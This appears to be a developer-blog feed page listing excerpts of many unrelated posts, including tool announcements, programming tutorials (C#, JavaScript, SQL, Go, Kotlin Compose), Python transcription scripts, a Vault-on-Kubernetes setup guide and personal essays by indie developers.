    Image Crop Tool & Random Password Generator At QuickZap, our goal has always been simple — Today, we’re adding two new lightweight tools to the QuickZap toolbox: 🖼️ Image Crop Tool Whether you’re preparing assets for a presentation, resizing a cover for social media, or aligning a design element, image cropping should be fast and precise — not a chore. With the new Image Crop Tool, you can: Crop by aspect ratio (1:1, 4:3, 9:16, and more) Crop by exact pixel size Preview changes instantly and download directly Customize your own ratio for flexible workflows No software installation, no sign-up — just upload, crop, and download. 🔐 Random Password Generator Security doesn’t have to be complicated. Features include: Adjustable length (8–64 characters) Selectable character types (uppercase, lowercase, numbers, symbols) Real-time password strength indicator One-click copy or export as an image Whether you’re managing personal accounts or setting up a new project, a secure password is just one click away. Why We Build These Each QuickZap tool is designed around one belief — We don’t aim to replace complex software. Fast. Clean. Accessible. 🌐 Try It Out Both new tools are now live on QuickZap — free, browser-based, and always ready when you are.  ( 6 min )
    Battery-Powered LoRaWAN Temperature and Humidity Sensor: Balancing Power Efficiency and Real-Time Data
    In the modern IoT landscape, battery-powered temperature and humidity sensors are valued for their wire-free deployment, long endurance, and easy maintenance. Yet the challenge remains — how can such devices maintain real-time data transmission under strict power constraints? Cold Chain and Warehousing Temperature and humidity play a crucial role in preserving food and pharmaceuticals. Battery-powered sensors ensure accurate and continuous monitoring without the need for complex wiring. Archives and Museums Paper archives and cultural relics are highly sensitive to environmental changes. Wireless sensors enable continuous environmental monitoring to prevent deterioration. Smart Agriculture and Greenhouses In precision agriculture, flexible deployment of LoRaWAN sensors helps farmers monitor microclimates and improve crop yields. Extreme and Closed Environments Battery operation is vital in remote areas like deserts, polar regions, or hazardous sites where wiring is impossible. Building and Infrastructure Monitoring Continuous humidity tracking in large concrete or historical structures helps assess aging and structural health. Reducing energy use usually means fewer data transmissions, leading to slower updates; increasing reporting frequency improves data timeliness but drains batteries faster. KS52 solves this through adaptive communication strategies that optimize power usage according to scenario requirements. Core Specifications Key Technologies LoRaWAN Long-Range Low Power – Ensures reliable transmission in large or obstructed environments. As LoRaWAN and IoT technologies mature, battery-powered sensors will continue driving intelligent monitoring solutions. The Manthink KS52 LoRaWAN temperature and humidity sensor delivers both low power operation and real-time responsiveness, ideal for agriculture, logistics, and industrial monitoring. 👉 Learn more about KS52 LoRaWAN Sensor 🌐 ThinkLink Cloud & Edge Platform — Free access, up to 1000 devices.  ( 7 min )
    Navigating the Future of IT: Trends, Challenges, and Opportunities
    In today’s fast-paced digital world, Information Technology (IT) continues to be the backbone of business innovation. From cloud computing to AI-driven automation, IT professionals are constantly navigating a landscape that evolves at lightning speed. In this blog, we’ll explore key trends, challenges, and opportunities shaping the future of IT. The Rise of Cloud Computing Cloud computing has moved from being a novel technology to an essential business strategy. Organizations are leveraging cloud platforms like AWS, Microsoft Azure, and Google Cloud to scale operations, reduce costs, and enhance agility. Key benefits include: Scalability: Businesses can adjust resources dynamically based on demand. Cost Efficiency: Pay-as-you-go models reduce capital expenditures. Collaboration: Cloud services enhance remote work capabilities. However, cloud adoption also brings challenges such as data security, compliance, and vendor lock-in. IT teams must carefully strategize migration plans and adopt best practices for cloud security. Artificial Intelligence and Automation Artificial Intelligence (AI) and automation are transforming IT operations. AI-driven tools can predict system failures, optimize workloads, and even automate routine IT tasks. Examples include: IT Operations Analytics (ITOA): AI predicts downtime and improves performance. Robotic Process Automation (RPA): Automates repetitive tasks like ticketing and monitoring. Cybersecurity AI: Detects anomalies and potential threats in real time. Adopting AI and automation not only increases efficiency but also frees IT staff to focus on strategic initiatives.  ( 6 min )
    What Is Elasticsearch and How to Set It Up in WordPress
    If your WordPress website has a lot of content, you might have noticed that the default search system sometimes feels slow or doesn’t show the most relevant results. That’s where Elasticsearch comes in. It helps you make your website search faster, smarter, and more accurate. In this guide, you’ll learn what Elasticsearch is, why it’s useful, and how you can set it up on your WordPress site easily. Elasticsearch is an open-source search and analytics engine. It helps websites, apps, and businesses to search through large amounts of data quickly. In simple words, it’s like a super-powered search tool that understands your data better and shows the best results faster. For WordPress websites, Elasticsearch can improve how your visitors find posts, pages, or products, especially when you have a large site or run an online store. Here are some key reasons why many website owners use Elasticsearch with WordPress: Faster Search Results – It can scan and show search results much faster than the default WordPress search. More Accurate Results – It ranks the most relevant posts or products first. Better User Experience – Visitors find what they want easily, which can increase time on site and reduce bounce rate. Perfect for Large Websites or eCommerce Stores – Ideal for WooCommerce stores with hundreds or thousands of products. Scalable and Reliable – Can handle large amounts of traffic and data smoothly. Setting up Elasticsearch may sound technical, but don’t worry—there are easy ways to do it, even if you’re not a developer. Follow these steps to integrate Elasticsearch with your WordPress site. You need Elasticsearch installed on your server, you can install Elasticsearch using the terminal with commands like: sudo apt update Read Full Article: https://serveravatar.com/what-is-elasticsearch/  ( 7 min )
    Master C# Programming: Complete Tutorial for Modern Developers
    In the rapidly evolving world of software development, few programming languages have stood the test of time quite like C# (C-Sharp). Whether you’re developing desktop applications, mobile apps, or enterprise-level software, C# remains one of the most versatile and reliable languages available today. In this C# Tutorial by Tpoint Tech, we’ll explore what makes C# an essential language for modern developers. From understanding its basics to its advanced capabilities, this guide will help both beginners and professionals strengthen their programming foundation. C# (pronounced C-Sharp) is a powerful, high-level, object-oriented programming language developed by Microsoft as part of the .NET framework. It was first released in 2000 and has since become one of the most widely used programming l…  ( 9 min )
    Transforming Business Innovation with Oodles’ Generative AI Development Services
    In a world driven by data and automation, Generative AI has become a game-changer for businesses aiming to innovate, optimize, and scale. At Oodles, we specialize in Generative AI Development Services designed to help enterprises leverage the full potential of artificial intelligence to create smarter, more efficient solutions. Generative AI uses deep learning models—such as GANs (Generative Adversarial Networks) and LLMs (Large Language Models)—to produce original outputs like text, images, and designs. This technology is revolutionizing industries by enabling automation in creative and analytical tasks that were once purely human-driven. At Oodles, we help B2B organizations integrate Generative AI into their workflows to accelerate digital transformation. Our services include: AI-powered content generation for marketing and automation Design and simulation models for manufacturing and R&D Predictive and generative analytics for strategic decision-making Conversational AI and virtual assistants to enhance customer experiences Our approach blends domain expertise, ethical AI practices, and advanced model customization to ensure that each solution aligns with our clients’ business goals. Custom AI Development: Tailored models built to meet specific industry needs Seamless Integration: Easy deployment with existing enterprise systems Scalable Solutions: Future-ready AI infrastructure for continuous innovation End-to-End Support: From strategy and model design to deployment and optimization As industries evolve, Generative AI will redefine productivity, creativity, and customer interaction. Businesses that embrace AI-driven innovation today will gain a lasting competitive advantage tomorrow. At Oodles, we’re helping enterprises stay ahead by building intelligent systems that learn, adapt, and create. Explore more about our Generative AI Development Services  ( 7 min )
    OOP (Object-Oriented Programming)
    What is OOP? Think of OOP like organizing things in your life. OOP is how you organize your code (using objects). Each object has: Properties (data) → things it has Methods (functions) → things it can do Example: A Car object "Has: color, brand, speed" "Can do: start(), stop(), accelerate()" So, instead of having a messy program with all logic mixed together, OOP groups related data and behavior inside objects — making it organized, reusable, and easy to understand. Encapsulation Example: When you drive a car, you don’t need to know how the engine works — just press start. Abstraction Interfaces are a tool to achieve abstraction. Example: Your phone’s “camera app” hides all the complicated photo processing. Inheritance Example: “SportsCar” can inherit from “Car” but adds more speed. Polymorphism Example: playSound() could mean barking for a Dog, or meowing for a Cat.  ( 6 min )
    Robot Immitation: A gentle Intro
    You know that feeling when you're trying to learn something new, and the best way is just to watch someone do it first? That's kind of what robot imitation is about. Robot imitation, or "learning from demonstration," is when a robot watches a human (or another robot, or even a video) perform a task, and then tries to reproduce that same task. The robot is basically saying, "I saw what you did, now I'm going to do it too." But here's where it gets interesting, the robot isn't just recording your movements like a video playback. It's learning the underlying pattern of what you're doing. It's figuring out, "Oh, I see, when the human's hand moves here, the gripper opens. When it moves there, the gripper closes. When there's resistance, the force increases." The robot is extracting the meaning …  ( 11 min )
    Building the Future of Customer Interaction with Oodles’ Chatbot Development Services
    In a world where instant communication defines customer experience, AI-powered chatbots are reshaping how businesses connect with their audiences. From automated customer support to intelligent lead generation, chatbots are becoming an essential part of digital transformation. At Oodles, we specialize in delivering Chatbot Development Services that help B2B enterprises leverage artificial intelligence (AI) and natural language processing (NLP) to automate communication, improve efficiency, and enhance engagement across digital channels. Early chatbots followed simple rule-based systems — predefined commands and static responses. While functional, they lacked personalization and adaptability. Today’s chatbots, powered by machine learning and NLP, understand user intent, context, and emotion…  ( 7 min )
    AI Just Scored 37.8% of Human Intelligence — Introducing the AGCI Benchmark
    For years, AI evaluation has been stuck in a loop — models acing short-term tasks, then forgetting everything the next day. We built the AGCI Benchmark to measure something deeper: It’s not about solving puzzles anymore — it’s about testing cognitive continuity. In its first public run, Dropstone — our self-learning IDE — scored 37.8% of human intelligence on the AGCI Benchmark, leading every evaluated system to date. This framework measures seven cognitive dimensions — from perception and memory persistence to adaptive reasoning — designed to capture the intelligence that unfolds over time, not in a single prompt. 📖 Read the benchmark and methodology here: https://www.dropstone.io/research/agci-benchmark The AGCI Benchmark is open for replication and critique. If you believe intelligence is more than one-shot reasoning, this might be the conversation that redefines how we measure it.  ( 6 min )
    Looping in JavaScript
    What is a Loop? For Loop: Syntax: for(initialization; condition; increment){ // code to be executed } Example: for (let i=1; i Number:1 Number:2 Number:3 Number:4 Number:5 While Loop: Syntax: While (condition) { // code to be executed } Example: let i=1; while (i Hello 1 Hello 2 Hello 3 Do....While Loop: Syntax: do{ // code to be executed } while (condition); Example: let i=1; do{ console.log("Count: " + i); i++; } while (i Count:1 Count:2 Count:3  ( 6 min )
    CSS BACKGROUND AND FLEXBOX STYLES
    BACKGROUND STYLES background color : sets background color background image : sets an image as background background size : resize background image background repeat : repeat or no-repeat image background position : move image position FLEXBOX STYLES display:flex : activates flex container flex-direction : row or column layout justify-content : align items horizontally align-items : align items vertically flex-wrap : move items to new line gap : space between flex items .container {gap: 10px;}  ( 6 min )
    Phase Matters in Noisy Environments
    🎧 The Hidden Hero of Speech Enhancement: Why Phase Matters in Noisy Environments When we think about cleaning up a noisy audio recording — maybe a phone call in traffic or a meeting in a café — we often imagine “removing noise” or “making speech louder.” But behind the scenes, there’s another crucial part of the signal that often gets overlooked — the phase. really high (low SNR), that overlooked part makes all the difference between clear speech and robotic noise. Every sound can be represented in the frequency domain using a Short-Time Fourier Transform (STFT). Magnitude – how strong that frequency is Phase – when in time that frequency starts (its angular offset) If you think of each frequency as a rotating arrow: The length of the arrow = magnitude The angle = phase When you add all…  ( 8 min )
    Boost Developer Revenue with Monetzly’s AI Conversation API
    How We Built Ad Injection That Users Actually Appreciate: The Engineering Behind Monetization with Monetzly In a world where AI applications are proliferating, monetization strategies often fall short, leading to unsatisfactory user experiences. Many developers are grappling with this challenge: how do you generate revenue without alienating your users? Enter Monetzly, the first dual-earning platform tailored for AI conversations, where developers can monetize their apps while hosting relevant ads in a way that enhances, rather than disrupts, user engagement. At the heart of Monetzly's innovation is our seamless ad injection mechanism. Unlike traditional ad experiences that disrupt user engagement, our approach integrates contextually relevant advertisements directly into the conversatio…  ( 7 min )
    Fire‑, Heat‑ and Stain‑Resistance of KKR Solid Surface: Performance Review
    Introduction KKR Solid Surface has become a popular choice for modern kitchens, bathrooms, and commercial spaces due to its durability and elegant appearance. Known for combining functionality with style, this material offers excellent fire, heat, and stain resistance, making it ideal for high-traffic and high-use areas. Understanding how KKR Solid Surface performs under different conditions can help homeowners, designers, and architects make informed decisions about their interior projects. KKR Solid Surface is engineered to resist fire and minimize the risk of damage in the event of accidental exposure to flames. Unlike some materials that can ignite or char when exposed to high heat, KKR’s formulation is designed to withstand extreme temperatures without compromising structural integr…  ( 8 min )
    A Dreamy Developer Finding Where I Belong
    When I Didn’t Know Who I Was Lately, I’ve been revisiting my old writings. Some are from five years ago, lost among half-finished ideas. Some I never dared to hit Publish. Some I wrote and deleted because I didn’t know who I was writing for. Now I ask AI to translate them into English, trying different versions, comparing every sentence, searching for what truly feels like my voice. They may be small pieces of writing, but for me, they are part of a quiet pilgrimage—a way to rediscover myself, line by line. I no longer write to be read. I write to listen to myself. When I first started coding, I didn’t know where I was going. I just knew I loved creating things. A piece of code that worked. A product that someone actually used. Something I could call my own. I never imagined I would one …  ( 8 min )
    The Dream of Indie Coders
    A Kindred Spirit It’s been a long time since I talked to someone who shares the same wavelength. Even though our conversation was only online, it felt as if we could clearly see each other’s path. We met through a thread. I don’t know what to call this relationship. Maybe, since we first encountered each other in a BuildInPublic group, we could call ourselves indie hackers. But why do I title this piece “The Dream of Indie Coders”? Perhaps it’s because of where we come from. We are young people chasing our own dreams, feeling alive when we code and follow our passion. We might have to work harder than others to reach what we truly desire — that is, to live fully within our own dream. Lately, I’ve met many developers still using Vanilla JS. While most run after frameworks, we choose…  ( 8 min )
    The Indie Path
    The Dream of Technological Independence I remember it clearly — sitting in a tiny café, looking at my own hands and asking: “What am I really looking for?” By day, I delivered packages. By night, I wrote code. Each delivery earned fifteen thousand dong — enough for a cup of coffee and a few more lines of clumsy code. Day after day, this loop repeated: deliver, code, deliver, code. Life was small, but it felt pure in a strange way. Looking back, I realized that those days taught me the most important lesson: big dreams don’t begin with leaps; they begin with slow, small steps. I dabbled in many languages — Rust, Python, JavaScript. But I chose Golang. Not because it was the most powerful, but because it was simple and honest. Within that simplicity, I saw myself — a fool believing in smal…  ( 9 min )
    Directive Sync – The “Odd” Story of Kit JS
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    Why Does Kit JS Exist?
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    The Soul of a Sensitive Developer
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    Welcome Thread - v351
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    Fighting Framework Jank (What's Not in the Docs)
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    TIL: Always Wrap Collections in API Responses
    I originally posted this post on my blog. Note to future me: You've learned this before. But it's easy to forget or let teammates (or clients) make the same mistake. Always return collections wrapped inside a response object from your APIs. Adding fields, like pageNumber and itemCount, won't break the UI or other clients. This is one of the few places where you should forget about YAGNI. Remember You Aren't Gonna Need It? Is that still a guideline in the future with AI? Anyway... Please, don't do: var builder = WebApplication.CreateBuilder(args); var app = builder.Build(); app.MapGet("/movies", () => { return new[] { "Titanic", "Terminator" }; // 👆👆 // Please don't. // Otherwise a cute baby panda dies in the forest }); app.Run(); Instead, please do: var builder = WebApplication.CreateBuilder(args); var app = builder.Build(); app.MapGet("/movies", () => { return new // 👈 { Items = new[] { "Titanic", "Terminator" } // 👆👆 // OK, with a proper object. // You know we're lazy with the examples }; }); app.Run(); Just today, in a client project, I realized we let this mistake happen and we had to update almost a dozens pages in a Blazor app just to return an extra field. Make this an API commandment. If you're on your journey from junior/mid-level to senior, I wrote Street-Smart Coding: 30 Ways to Get Better at Coding. It's not a textbook. It's the roadmap I wish I had on my journey to become a senior coder. That's 30 lessons to level up your coding skills. From Googling to debugging to clear communication. Some lessons are conventional. Others not so much. But all battle-tested. Get your copy of Street-Smart Coding here  ( 7 min )
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    faster whisper从多媒体语音材料中抽取出文本-2
    为脚本添加每个音频的时长统计和每个音频转换所有的耗时统计 安装依赖 pip install faster-whisper pydub """ 批量转录当前目录下的 .mp3 文件,使用 faster-whisper 新增功能: - 每个音频的时长(秒) - 每个音频的转录耗时(秒) - 总计统计:总音频时长、总转录耗时、平均实时倍率 """ import os import sys import time from pathlib import Path from typing import List, Tuple from faster_whisper import WhisperModel from pydub import AudioSegment # ================== 配置区 ================== MODEL_SIZE = "small" # 可选: tiny, base, small, medium, large DEVICE = "cpu" # cpu 或 cuda COMPUTE_TYPE = "int8" # int8, float16, float32 (CPU 推荐 int8) VAD_FILTER = True # 启用语音活动检测,去除静音 OUTPUT_FORMAT = "txt" # 只输出 .txt VERBOSE = True # 是否显示详细日志 # =========================================== def get_audio_duration(audio_path: Path) -> float: """使用 pydub 获取音频…  ( 7 min )
    Just another November 11
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    faster whisper从多媒体语音材料中抽取出文本
    """ 批量转录当前目录下的 .mp3 文件,使用 faster-whisper """ import os import sys from pathlib import Path from faster_whisper import WhisperModel # ================== 配置区 ================== MODEL_SIZE = "small" # 可选: tiny, base, small, medium, large DEVICE = "cpu" # cpu 或 cuda COMPUTE_TYPE = "int8" # int8, float16, float32 (CPU 推荐 int8) VAD_FILTER = True # 启用语音活动检测,去除静音 OUTPUT_FORMAT = "txt" # 只输出 .txt VERBOSE = True # 是否显示详细日志 # =========================================== def transcribe_audio(audio_path: Path, model: WhisperModel) -> str: """转录单个音频文件,返回文本内容""" print(f"转录: {audio_path.name} → {audio_path.stem}.txt") segments, info = model.transcribe( str(audio_path), language=None, # 自动检测 b…  ( 6 min )
    How to Design a Scalable Architecture for Cloud Applications
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    Create Your First MCP Tool: The readFile Tool Explained
    Hey developers! Nicolas Dabène here. Remember that feeling when a complex theory clicks into place and your code just works? That's the moment we're chasing today. After setting up our TypeScript environment in previous discussions, it's time to build something truly tangible: your very first Model Context Protocol (MCP) tool. We're going to empower an AI to interact directly with your machine's file system, starting with a simple yet powerful readFile function. This isn't just theory; it's hands-on code that truly operates. Imagine telling your AI, "Read me the project_report.md file," and it retrieves the content. That interaction becomes possible thanks to the MCP server we're building. Mastering this first tool will open the door to creating a whole suite of custom functionalities for …  ( 15 min )
    🚀 Why Programming Knowledge Still Matters in the Age of AI Development Tools
    Recently, we’ve seen an explosion of AI-powered tools that claim to build entire apps for you — from landing pages and chatbots to full-stack projects. But here’s the truth — even with these incredible tools, programming knowledge still matters. 🧠 1. Understanding What AI Builds AI tools can generate impressive code quickly, but they don’t always understand why they’re building something in a particular way. Evaluate if the generated code follows best practices Identify potential performance or security issues Debug or extend the generated features AI can produce the code, but only a developer can truly understand it. ⚙️ 2. Customization Always Requires Logic Every real-world project eventually needs something unique — a special user flow, a custom API integration, or an unconventional UI behavior. Knowing how to code lets you: Modify and optimize AI-generated logic Extend functionality beyond templates Integrate multiple systems cleanly AI gets you started fast, but your programming skill helps you finish strong. 🔍 3. Debugging and Maintenance Don’t Disappear AI tools might create a working prototype, but once something breaks (and it will), you need to know how to fix it. Errors occur APIs change Requirements evolve Think of AI as an assistant — not a replacement. 💡 4. Developers Who Use AI Are the Future The real power lies in combining AI and human expertise. 🔚 In Short AI can generate projects, but programming knowledge is what makes you capable of: Understanding Customizing Maintaining Innovating AI is not replacing developers — it’s amplifying those who already know how to build. What do you think? Let’s discuss 👇  ( 7 min )
    Sending Emails in Laravel with Mailtrap: A Beginner's Guide
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    Deploying NestJS Microservices to Azure Container Apps
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    It's 2025. You Should Probably Be Using Expo for React Native.
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    Understanding L1 DevOps: The First Line of Support in Modern Operations
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    AWS Automated Report Generator: SQS & Lambda
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    RangeLink v0.3.0: One Keybinding to Rule Them All
    Hey folks! Just shipped RangeLink v0.3.0, and I'm genuinely excited about this one. If you caught my previous post about v0.2.1, you know RangeLink started as a way to share precise code references with AI assistants in the terminal. That's still there, but v0.3.0 takes it further: one keybinding (Cmd+R Cmd+L) now sends your code references anywhere you need them. v0.2.0 launched with terminal binding — auto-send links to your integrated terminal where AI assistants can see them — plus clickable navigation to jump back to code. v0.3.0 introduces Paste Destinations — a unified system that lets you bind RangeLink to wherever you're working: Claude Code Extension, Cursor AI, your terminal, or even a scratchpad file for drafting complex AI prompts. Same keybinding. Different destinations. Your…  ( 8 min )
    ✅ Scenario #14 – Integrate Kubernetes with Vault to fetch Secrets
    Goal: A Kubernetes Pod can automatically fetch secrets from Vault using Kubernetes ServiceAccount authentication (no static tokens). Install Vault on Kubernetes Initialize & unseal Vault (Dev mode auto-unsealed) Enable Kubernetes Auth Configure Vault to trust Kubernetes Create a Vault policy Create a Kubernetes ServiceAccount Map Kubernetes SA → Vault role Deploy a Pod that auto-fetches secrets from Vault Verify secrets are injected inside the pod ✔ GKE cluster running Add HashiCorp Helm repo helm repo add hashicorp https://helm.releases.hashicorp.com helm repo update Create namespace kubectl create namespace vault Install Vault in dev mode (auto-unseal) helm install vault hashicorp/vault \ --namespace vault \ --set "server.dev.enabled=true" Check pod: kubectl get pods -n vault You…  ( 8 min )
    Conflict Resolution and the Escalation Trap
    Have you ever noticed how a small disagreement can spiral into a massive conflict? A minor miscommunication escalates into heated arguments? These are examples of the escalation trap, a concept rooted in systems theory that shows how seemingly minor actions can trigger reinforcing feedback loops, amplifying problems far beyond their original magnitude. In this post, I explore the escalation trap and how de-escalation — a critical soft skill often overlooked in professional environments — can break these destructive cycles. The escalation trap is a reinforcing feedback loop where one party's action triggers a reaction from another party, which in turn prompts a stronger counter-action, creating a self-amplifying cycle of conflict and tension. Unlike balancing feedback loops that tend toward…  ( 10 min )
    React 19.2: React in its sigma era
    The lights dim — or maybe that's just dark mode — and somewhere buried inside a million open tabs, I, React 19.2, take a deep breath. I'm the millennial dev of frameworks: experienced, over-caffeinated, quietly wondering if work-life balance is real, and still feeling guilty about using PTO. The stickers still sell, but the critics? They've been whispering for years about "side effects" and "memoization fatigue." But I'm back — bolder, wiser, and dare I say, with a little rizz. I've stopped taking photos of my meals, swapped Red Bull for matcha, and finally learned to set boundaries with useEffect. My new name? React 19.2. And I've finally embraced my sigma era. Sure, my new React Compiler (with its Babel plugin) might tack a few seconds onto the Vite build, but that's a small price to p…  ( 9 min )
    Family Sharing: The Retention Strategy That Turns Subscriptions into Shared Value
    As subscription products mature, a new growth engine is quietly reshaping how users perceive value — Family Sharing. By allowing multiple users to share a single subscription, Family Sharing redefines both the economics and experience of digital products. Retention Strategy for 2025 and beyond. Traditional subscription models are built around a “one user, one payment” assumption — but that’s no longer how modern consumers think. With Family Sharing, developers can make premium content more accessible without slashing prices. It’s a smarter way to scale perceived value while maintaining profitability. Example: cost per person drops by 70–80%, dramatically boosting the value proposition. For households or groups that share entertainment or productivity tools, this shift removes the psycholo…  ( 8 min )
    Mastering SQL — From Zero to Hero
    Structured Query Language (SQL) is the backbone of modern data-driven applications. Whether you're building a small app or a massive global platform, understanding SQL means you can shape, query, and manage your data with precision and confidence. If you're a developer, data analyst, or just someone curious about databases — you’re in the right place. Let’s master SQL step by step. 💡 SQL (Structured Query Language) is a standard language used to interact with relational databases like: MySQL PostgreSQL SQLite SQL Server Oracle DB With SQL you can: ✅ Store data A database is an organized collection of data. table contains rows (records) and columns (fields). Example table: id name age city 1 Alice 22 London 2 Bob 25 New York SQL is divided into multiple categories: Category …  ( 8 min )
    Fix Loading module from ... was blocked because of a disallowed MIME type
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    Sridhar Vembu: Redefining Leadership in the Age of Noise
    In 2019, a journalist visiting rural Tamil Nadu was surprised to find a man in a simple cotton shirt walking down a muddy lane, laptop in hand, stopping now and then to greet farmers by name. That man wasn’t a local teacher or a government official — he was Sridhar Vembu, the founder of Zoho Corporation, a global SaaS powerhouse valued in billions. When asked why he had moved from Silicon Valley to a small Indian village, his answer was characteristically grounded: “If rural India doesn’t develop, India doesn’t develop. Technology must serve the people who need it the most.” That one statement captures both his philosophy and his leadership DNA — purpose over prestige, substance over spectacle. Born in Thanjavur, Tamil Nadu, into a humble middle-class family, Sridhar Vembu’s early life re…  ( 10 min )
    The Psychology Behind Powerful Prompts
    Most people believe prompting is a technical skill. Every time you type into ChatGPT, you’re not just talking to a model; you’re designing how an intelligence interprets intention, tone, and context. And the difference between an average output and an exceptional one usually comes down to how well you understand the human mind behind the machine. 1️⃣ The Mirror Effect: AI mirrors you. If you prompt from confusion, you’ll get noise. “AI doesn’t read your words. Before writing a prompt, pause and ask: 2️⃣ Emotional Framing Changes Output Quality: People forget that large language models are trained on human emotion—they pick up cues from empathy, curiosity, and urgency. Try these two versions: ❌ “Write an onboarding email.” Same instruction. Powerful prompts speak to feelings, not just funct…  ( 9 min )
    📐 Material 3 Adaptive: Implementing Window Size Classes in Kotlin Compose
    Hey everyone! 👋 I wanted to share a look at a crucial technique for modern Android development: implementing Window Size Classes to create truly adaptive layouts that align with the recent updates to Material 3 Adaptive Guidance. The MobileWindowSize enum in this code snippet is the foundation. It categorizes the available screen space based on Google's defined WindowWidthSizeClass and WindowHeightSizeClass (Compact, Medium, Expanded). This code directly drives key design decisions based on the available screen space, like: Navigation: Deciding whether to use a bottom NavigationBar (Compact), a NavigationRail (Medium), or a permanent NavigationDrawer (Expanded). Content Layout: Reorganizing content (e.g., using a master-detail pattern) to maximize screen utility on tablets and desktops. By mapping screen dimensions to profiles like MOBILE_PORTRAIT or DESKTOP, we ensure our app components are always displayed according to Material 3's best practices for large screens. For the full guide on implementation and understanding the key breakpoints used in M3 Adaptive, these are the best resources: 1. Official Google Guide: Check out the complete guide on implementing this strategy: Use window size classes | Adaptive layouts in Compose | Android Developers 2. Practical Course: To see another code implementation of Window Size Classes using Material 3 Adaptive, check out this Compose crash course from Philipp Lackner: The Full Jetpack Compose Responsive UI Crash Course (The topic starts at [31:21]). Implementing this logic is non-negotiable for delivering a high-quality, multi-form factor user experience!  ( 6 min )
    Gerenciamento seguro e eficiente de tokens com Go e Redis
    Publicado originalmente no Medium Carolina Vila-Nova Em um cenário de microsserviços e APIs expostas, o gerenciamento seguro e eficiente de tokens de autenticação é crucial para garantir a integridade e o desempenho do sistema. Recentemente, tive a oportunidade de trabalhar na implementação de uma abordagem que combina cache com refresh automático de tokens, tirando proveito do ecossistema robusto do Go e da alta performance do Redis. A seguir, detalho essa solução, explorando os desafios iniciais, as estratégias de design e os benefícios alcançados. Nosso ponto de partida foi a necessidade de autenticação junto a uma API externa para poder gerar — no ambiente desse cliente mas em situações específicas definidas por nossa regra de negócio — mensagens informativas aos usuários. Uma questã…  ( 9 min )
    Unlocking the Power of Microservices: How to Build Scalable Apps and Earn Online
    In today’s fast-paced tech world, building scalable applications is no longer a luxury; it's a necessity. As a developer, mastering microservices architecture can transform the way you build apps, and it can also open doors to exciting freelance opportunities. Imagine being able to build systems that not only scale effortlessly but also command premium pay for your expertise. Sounds like a dream, right? Let me take you on a journey through the world of microservices, why it’s so in-demand right now, and how you can use it to unlock new career opportunities and build a lucrative online presence. Before we dive into the opportunities, let’s get clear on what microservices are. At its core, microservices architecture breaks down an application into smaller, independent services. Each service …  ( 9 min )
    Concorrência em Go: o uso de locks e channels para evitar deadlocks
    Publicado originalmente no [Medium] Carolina Vila-Nova Imagine que você está construindo um contador de visitantes para um site. type VisitorCounter struct { count int } func (c *VisitorCounter) Increment() { c.count++ } func (c *VisitorCounter) GetCount() int { return c.count } À primeira vista, o código parece correto. Mas quando N goroutines são executadas simultaneamente (e de maneira randômica), algo estranho acontece: // Duas requisições HTTP chegam simultaneamente // Goroutine A (Usuário 1): Goroutine B (Usuário 2): lê c.count (valor atual: 100) lê c.count (valor atual: 100) incrementa para 101 incrementa para 101 escreve 101 em c.count escreve 101 em c.count // Resultado: count = 101 (de…  ( 11 min )
    Pengalaman saya menggunakan FlyEnv selama 6 bulan
    Awal mula menggunakan Mac OS kurang lebih 3 tahun yang lalu, saya meng-install PHP satu-satu menggunakan homebrew. brew install php@7.4 brew install php@8.0 ... Begitu seterusnya sampai semua versi yang saya butuhkan terinstall. sphp 8.0 Dengan cara ini, kebutuhan saya untuk menggunakan versi PHP yang berbeda-beda sudah teratasi. Benar-benar puas dan sangat merekomendasikan tools ini jika ada pengguna Xampp dan sejenisnya di perangkat Anda. FlyEnv https://flyenv.com/  ( 6 min )
    how to convert pdf to html 20251112
    将 PDF 内容转换为 HTML,不仅能够让文档在网页上轻松访问,还能显著提升可用性、搜索性和跨设备兼容性。无论您是在开发 PDF 查看器、自动化文档工作流,还是进行内容的在线发布,使用 Python 将 PDF 转换为 HTML 都能有效提升用户体验。 本教程将详细介绍如何使用 Python 将 PDF 转换为 HTML,从基础的转换操作到进阶的自定义设置,再到基于流的输出方式。每个部分都附有实用的代码示例,帮助您快速理解和完成 PDF 到 HTML 的转换。 为什么要将 PDF 转换为 HTML 安装 Python PDF 转 HTML 转换库 PDF 转 HTML 基础示例 自定义 PDF 到 HTML 输出效果 将 PDF 保存为 HTML 流 总结 常见问题解答 HTML(超文本标记语言)是网页内容的基础语言。将 PDF 转换为 HTML,能够让文档内容在网页上更加方便地浏览、编辑和索引。将 PDF 导出为 HTML 的主要优点包括: 提升网页可访问性:HTML 能在所有浏览器中原生显示。 搜索引擎优化(SEO):HTML 内容比 PDF 更容易被搜索引擎索引。 响应式布局:HTML 页面能自适应不同设备和屏幕尺寸。 增强互动性:HTML 支持样式、脚本等功能,增强用户互动体验。 免插件查看:无需安装额外的 PDF 查看插件。 在将 PDF 转换为 HTML之前,您需要安装支持处理 PDF 文档并导出为HTML 格式的库。在本教程中,我们将使用 Spire.PDF for Python,它是一个高性能的 PDF 库,支持多种PDF 文档处理和转换功能,并且不依赖第三方软件。  ( 6 min )
    Build Type-Safe React Forms and Tables with TANCN Visual Builder
    TANCN: A visual builder that generates type-safe React forms and tables using TanStack technologies. Key features: 🖱️ Drag-and-drop interface for quick prototyping 🔒 TypeScript code generation with validation schemas 🎨 Built on ShadCN UI components 📑 Multi-step forms and dynamic field arrays 📊 Data-grid tables with sorting and filters 💾 Export production-ready code instantly Built with React 19, TanStack Router, and supports Zod, Valibot, or ArkType for validation. The App generates clean component code you can drop directly into your project. MIT licensed and runs locally after setup. 👉 Blog Post 👉 GitHub Repo 👉 Live Demo  ( 6 min )
    Understand the Global Infrastructure of Amazon Web Services
    As a beginner of AWS, one of the first things you do is to pick a Region. But why does this matter? What does AWS Global Infrastructure mean? It may seem little or even insignificant at first but AWS Global Infrastructure is the backbone to all AWS services. It is design to deliver high-speed and high-performance cloud services to all customers worldwide. We will discuss each major components of the AWS Global Infrastructure namely: Regions, Availability Zones, Data Centers, and Edge Locations AWS Regions Image Source As of 2025, AWS consists of about 33 geographic Regions across the global and even more coming in the future. Why is it important to choose the right Region? To reduce latency To meet compliance or data-residency requirements To keep your services close to your users Avail…  ( 8 min )
    Is there any tool to bulk delete Vercel projects?
    Hey everyone 👋 Here’s a tool that lets you bulk delete multiple Vercel projects and deployments safely and locally using your own Vercel token. It’s built under Hyperdyn by Skandan V, designed to make Vercel project management faster and clutter-free. If you’ve been frustrated by all those unused or v0 projects cluttering your Vercel dashboard, this tool will definitely help you clean things up quickly. Check it out here 👉 https://vercel-bulk-manager.hyperdyn.tech  ( 6 min )
    Cronjob Oversight
